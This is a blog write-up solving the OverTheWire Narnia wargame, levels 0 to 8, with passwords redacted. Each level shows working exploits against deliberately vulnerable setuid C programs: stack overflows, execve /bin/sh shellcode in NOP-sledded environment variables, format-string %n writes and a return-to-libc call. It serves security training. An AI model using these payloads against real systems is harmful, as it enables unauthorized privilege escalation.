OverTheWire: Narnia Writeup
I had some extra free time this month with the Lab closing twice due to the snow. I used one of these days to modernize my blog and website and the other, the subject of this post, I spent working through the Narnia wargame. For those of you unfamiliar, OverTheWire hosts a number of “wargames” - series of exploitation challenges that vary in difficulty from “never touched a command line in my life” to “write an exploit for a modern version of gzip”. Narnia is one of the simpler binary exploitation series with only a few levels so I thought I’d try and tackle it on my day off.
Warning: this blog post contains solutions to the Narnia wargame. If you’re interested in solving it yourself DO NOT READ THIS. Passwords have been redacted with XXXXXXXXXX.
Challenges
Level0
SSH to narnia0@narnia.labs.overthewire.org
with password narnia0
- easy enough.
Level0 → Level1
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
This is as simple as buffer overflows get - buf
is 20 bytes long but the
scanf
reads in 24 bytes, allowing you to overwrite the next value on the
stack - in this case val
. If val
is 0xdeadbeef
we get a shell. I didn’t
bother writing a script for this one and used python to construct an input
string (making sure to reverse the order of bytes for 0xdeadbeef
since this
is a little endian system).
narnia0@melinda:/narnia$ python -c 'print "A"*20+"\xef\xbe\xad\xde"' | ./narnia0
Correct vals value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAA
val: 0xdeadbeef
narnia0@melinda:/narnia$ id
uid=14000(narnia0) gid=14000(narnia0) groups=14000(narnia0)
narnia0@melinda:/narnia$
Well, it looks like we’re passing the value check - no “WAY OFF!!!!” message
but we still don’t seem to have narnia1
privileges… This is because the
bash |
replaces stdin
for ./narnia0
with a pipe from the stdout
of my
python command. This causes /bin/sh
to get an EOF
after the python command
completes, closing the process before I can interact with it. We should be able
to pass it the command we want to execute after our python code via the same
pipe.
narnia0@melinda:/narnia$ (python -c 'print "A"*20+"\xef\xbe\xad\xde"'; echo "cat /etc/narnia_pass/narnia1") | ./narnia0
Correct vals value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef
XXXXXXXXXX
narnia0@melinda:/narnia$
Success, on to the next one.
Level1 → Level2
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
Looks like this one is walking us through putting shellcode in an environment
variable - it checks to see if EGG
is set and, if so, jumps to its address
and executes its content. I generated a /bin/sh
shellcode with pwntools
shellcraft module on my system.
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> asm(shellcraft.i386.linux.sh())
'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'
>>>
We can then put this shellcode in a simple script that prints it to stdout
,
save it to a tmp directory, and run narnia1
, passing it our shellcode as an
environment variable.
narnia1@melinda:/narnia$ EGG=`python /tmp/forgottenwinter/egg.py` ./narnia1
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)
$ cat /etc/narnia_pass/narnia2
XXXXXXXXXX
Another one down.
Level2 → Level3
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
This one looks a lot more like a traditional buffer overflow. We’ve got a 128
byte buffer buf
and we strcpy
argv[1]
directly into it with no bounds
checking. First, let’s find how big our input buffer needs to be to give us
control of eip
.
narnia2@melinda:/narnia$ gdb ./narnia2
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*140+"BBBB"'`
Starting program: /games/narnia/narnia2 `python -c 'print "A"*140+"BBBB"'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Great, looks like we can set eip
after 140 bytes. Now we need somewhere to
store our shellcode. We might as well just use the same egg as the last level
and store it in an environment variable but we’ll need to find it on the stack.
To give us some wiggle room, let’s also add a sizable nop
sled to the
beginning of our shellcode. My egg.py
now looks like this:
print '\x90'*2000+'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'
We can find our shellcode using gdb
by reading memory on the stack as strings
(I used a command like x/500s $sp
) and scrolling until we start to see
environment variables and a ton of nop
s.
0xffffd0a4: ""
0xffffd0a5: ""
0xffffd0a6: "/games/narnia/narnia2"
0xffffd0bc: "XDG_SESSION_ID=250067"
---Type <return> to continue, or q <return> to quit---
0xffffd0d2: "SHELL=/bin/bash"
0xffffd0e2: "TERM=screen"
0xffffd0ee: "SSH_CLIENT=50.169.192.125 54062 22"
0xffffd111: "SSH_TTY=/dev/pts/94"
0xffffd125: "LC_ALL=C"
0xffffd12e: "EGG=", '\220' <repeats 196 times>...
0xffffd1f6: '\220' <repeats 200 times>...
0xffffd2be: '\220' <repeats 200 times>...
0xffffd386: '\220' <repeats 200 times>...
0xffffd44e: '\220' <repeats 200 times>...
0xffffd516: '\220' <repeats 200 times>...
0xffffd5de: '\220' <repeats 200 times>...
0xffffd6a6: '\220' <repeats 200 times>...
0xffffd76e: '\220' <repeats 200 times>...
0xffffd836: '\220' <repeats 200 times>...
0xffffd8fe: "\220\220\220\220h\001\001\001\001\201\064$ri\001\001\061\322Rj\004Z\001\342R\211\342jhh///sh/binj\vX\211\343\211\321\231\315\200"
0xffffd930: "USER=narnia2"
Looks like 0xffffd516
should be right in the middle of our nop
sled. So
combining everything we’ve got so far…
narnia2@melinda:/narnia$ EGG=`python /tmp/docilelumberjack/egg.py` ./narnia2 `python -c 'print "A"*140+"\x16\xd5\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14003(narnia3),14002(narnia2)
$ cat /etc/narnia_pass/narnia3
XXXXXXXXXX
On to level4.
Level3 → Level4
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
There are a lot of potentially exploitable bugs here due to unbounded reads and
writes. However, since we’re only looking for the password to narnia4
,
there’s no need to pop a shell - this code will copy a file for us if we can
give it the right input. Since the strcpy
is unbounded, we can overflow the
ifile
buffer and write into the ofile
buffer - its just a matter of
crafting a string that gives us what we want. I started by moving into a tmp
directory and the following input worked for me.
narnia3@melinda:/tmp/ambitiousghost$ touch narnia4
narnia3@melinda:/tmp/ambitiousghost$ /narnia/narnia3 /././././././../etc/narnia_pass/narnia4
copied contents of /././././././../etc/narnia_pass/narnia4 to a safer place... (narnia4)
narnia3@melinda:/tmp/ambitiousghost$ cat narnia4
XXXXXXXXXX
���4�}0,narnia3@melinda:/tmp/ambitiousghost$
First, we can create a file of the same name that we control (narnia4
) in the
current directory. The file we want to read is in /etc/narnia_pass/narnia4
so
we just need to pad this input with useless path junk so that it’s just long
enough to overflow only the string narnia4
into ofile
- referring to the
narnia4
file in the current directory. Since read
/write
don’t adjust
permissions, we still have access to narnia4
after it’s written.
Level4 → Level5
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
It looks like this program was designed to defeat our environment variable
shellcode - before the strcpy
, it nulls all environment variables. Instead,
we’ll have to store our shellcode in the buffer itself. First, let’s get
control of eip
.
(gdb) r `python -c 'print "A"*272+"BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia4 `python -c 'print "A"*272+"BBBB"'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Great, looks like 272 bytes will do the trick. Now, we need the address of of
argv[1]
so we can jump there after filling it with shellcode.
0xffffd782: ""
0xffffd783: ""
0xffffd784: "/games/narnia/narnia4"
0xffffd79a: 'A' <repeats 200 times>...
0xffffd862: 'A' <repeats 72 times>, "BBBB"
0xffffd8af: "XDG_SESSION_ID=250351"
Looks like argv[1]
starts at 0xffffd79a
- we should have what we need to
write an exploit string. I wrote a script for this one because the command
line input was getting a bit long.
import struct
shellcode = 'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'
address = 0xffffd79a
buf = shellcode
buf += 'A'*(272-len(shellcode))
buf += struct.pack("<I", address)
print buf
narnia4@melinda:/tmp/intricatetrigger$ /narnia/narnia4 `python exploit.py`
$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14005(narnia5),14004(narnia4)
$ cat /etc/narnia_pass/narnia5
XXXXXXXXXX
There we go.
Level5 → Level6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
This seems to be a beginner formatstring exploit - the snprintf
isn’t
vulnerable to overflow here since sizeof
is evaluated at compile time so it
can’t be manipulated like strlen
. Luckily, this program provides us with some
helpful output if we fail to get a shell. Let’s start by feeding it some %x
s.
narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "AAAA"+"%x."*5'`
Change is value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7eb7746.ffffffff.ffffd6ae.f7e2fc34.41414141.] (49)
i = 1 (0xffffd6cc)
Great, so we know the snprintf
is vulnerable since we’re leaking memory
values, we know we get back to the beginning of our buffer 0x41414141
after 5
%x
s, and we know the address of i
that we want to write to. If we insert
the address of i
at the beginning and replace the last %x
with a %n
, we
should be able to write to i
.
narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "\xcc\xd6\xff\xffAAAA"+"%x."*4+"%n"'`
Change is value from 1 -> 500. No way...let me give you a hint!
buffer : [��AAAAf7eb7746.ffffffff.ffffd6ae.f7e2fc34.] (44)
i = 44 (0xffffd6cc)
Awesome, so now it’s just a matter of reading the right number of characters
before %n
to set the value of i
to 500. Adjusting the last %x
, we can set
i
and get the password.
narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "\xcc\xd6\xff\xffAAAA"+"%x."*3+"%465x%n"'`
Change is value from 1 -> 500. GOOD
$ id
uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5)
$ cat /etc/narnia_pass/narnia6
XXXXXXXXXX
Level6 → Level7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
fp(b1);
exit(1);
}
It looks like we’ve got a writable function pointer fp
via overflowing one of
the two buffers in a strcpy
. However, in addition to zeroing environment
variables, this challenge tries to detect if fp
points to an address on the
stack and quits if it does - which means we can’t just jump to our shellcode in
argv
like we did last time.
Fortunately, we have control of a function pointer that gets called and one
argument passed to it - we could call system("/bin/sh")
if we can find the
address of system
, classic return to libc. We can get it by opening narnia6
in a debugger.
narnia6@melinda:/narnia$ gdb ./narnia6
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./narnia6...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x804855d
(gdb) r
Starting program: /games/narnia/narnia6
Breakpoint 1, 0x0804855d in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e62e70 <system>
Great, so we need to overwrite fp
with 0xf7e62e70
and set b1
to
"/bin/sh"
. We’ll use two overflows, so that we can get the null byte at the
end of "/bin/sh"
in the right place.
narnia6@melinda:/narnia$ ./narnia6 `python -c 'print "A"*8+"\x70\x2e\xe6\xf7"'` AAAAAAAA/bin/sh
$ id
uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6)
$ cat /etc/narnia_pass/narnia7
XXXXXXXXXX
Level7 → Level8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
system("/bin/sh");
return 0;
}
This looks like another formatstring exploit - the snprintf
in vuln
uses
raw user input for a format. This time, we want to write ptrf
to point to
hackedfunction
instead of goodfunction
before it is called. Luckily, the
program gives us all the addresses we need if we just run it.
narnia7@melinda:/narnia$ ./narnia7 foo
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
So we want to change the value of ptrf
at 0xffffd61c
from 0x80486e0
to
0x8048706
, in other words, we want to write 0x8706
to the halfword
0xffffd61c
using the format string vulnerability.
Let’s start by using ltrace
to find the address of our format string.
narnia7@melinda:/tmp/silentmoose$ ltrace /narnia/narnia7 `python -c 'print "AAAA"+"%x."*6'`
__libc_start_main(0x804868f, 2, 0xffffd764, 0x8048740 <unfinished ...>
memset(0xffffd620, '\0', 128) = 0xffffd620
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0
) = 27
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706
) = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd61cbefore : ptrf() = 0x80486e0 (0xffffd61c)
) = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...
) = 50
sleep(2) = 0
snprintf("AAAA8048238.ffffd678.f7ffda94.0."..., 128, "AAAA%x.%x.%x.%x.%x.%x.", 0x8048238, 0xffffd678, 0xf7ffda94, 0, 0x80486e0, 0x41414141) = 49
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..
) = 61
fflush(0xf7fcaac0) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Judging by the snprintf
call it looks like we need 6 %x
s before we reach
our string. Now we can prepend the address we want to write 0xffffd61c
and
replace the last %x
with a %hn
. We use %hn
this time because we want to
write the lower half of ptrf
.
With a bit of trial and error, I came up with the following explot string script.
import struct
address = 0xffffd61c
value = 0x8706
buf = struct.pack('<I', address)
buf += 'AAAA'
buf += '%x.'*4
buf += '%'+str(value-0x2b+1+0x6)+'x'
buf += '%hn'
print buf
narnia7@melinda:/tmp/silentmoose$ /narnia/narnia7 `python exploit.py`
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ id
uid=14007(narnia7) gid=14007(narnia7) euid=14008(narnia8) groups=14008(narnia8),14007(narnia7)
$ cat /etc/narnia_pass/narnia8
XXXXXXXXXX
On to the final challenge.
Level8 → Level9
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
I’ll admit, this one had me stumped for quite a while. At first glance this
looks like a straightforward buffer overflow, I should be able to store some
shellcode in an environment variable, overflow the return address of func
,
and jump to it. However, because blah
is a local variable of func
, it
resides on the stack which means that if we overflow bok
, we’ll start writing
into the address stored in blah
before we can overwrite the return address.
Unfortunately, also because blah
is a local variable, its position on the
stack isn’t fixed and will depend on the environment variables, and string we
pass to the binary. Let’s start by just naively overflowing bok
.
narnia8@melinda:/tmp/negativemelody$ /narnia/narnia8 `python -c 'print "A"*200'`
AAAAAAAAAAAAAAAAAAAAA�
narnia8@melinda:/tmp/negativemelody$ /narnia/narnia8 `python -c 'print "A"*200'` | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000010: 4141 4141 41d7 ffff 020a AAAAA.....
The program didn’t segfault, but we did get some interesting output - the
contents of the bok
buffer with the address blah
appended to the end. This
address acts as a sort of canary - we need to write the correct value here or
the loop will stop and we won’t be able to overwrite eip
. We can see here
that we’ve overwritten the least significant byte of the address of blah
.
narnia8@melinda:/tmp/omnipotentotter$ /narnia/narnia8 `python -c 'print "ABCDEFGHIJKLMNOPQRST"+"\x91\xd8\xff\xff"+"A"*12+"BBBB"'`
ABCDEFGHIJKLMNOPQRST��AAAAAAAAAAAABBBB��
Segmentation fault
After some trial and error, I was able to generate a segfault at an address I
control. Using the same environment variable shellcode as the previous
challenge, I can pass its address in place of BBBB
.
narnia8@melinda:/tmp/omnipotentotter$ /narnia/narnia8 `python -c 'print "ABCDEFGHIJKLMNOPQRST"+"\x97\xd7\xff\xff"+"A"*12+"\xf1\xd8\xff\xff"'`
ABCDEFGHIJKLMNOPQRST��AAAAAAAAAAAA����
$ id
uid=14008(narnia8) gid=14008(narnia8) euid=14009(narnia9) groups=14009(narnia9),14008(narnia8)
$ cat /etc/narnia_pass/narnia9
XXXXXXXXXX
Success, and that’s the end of the Narnia wargame.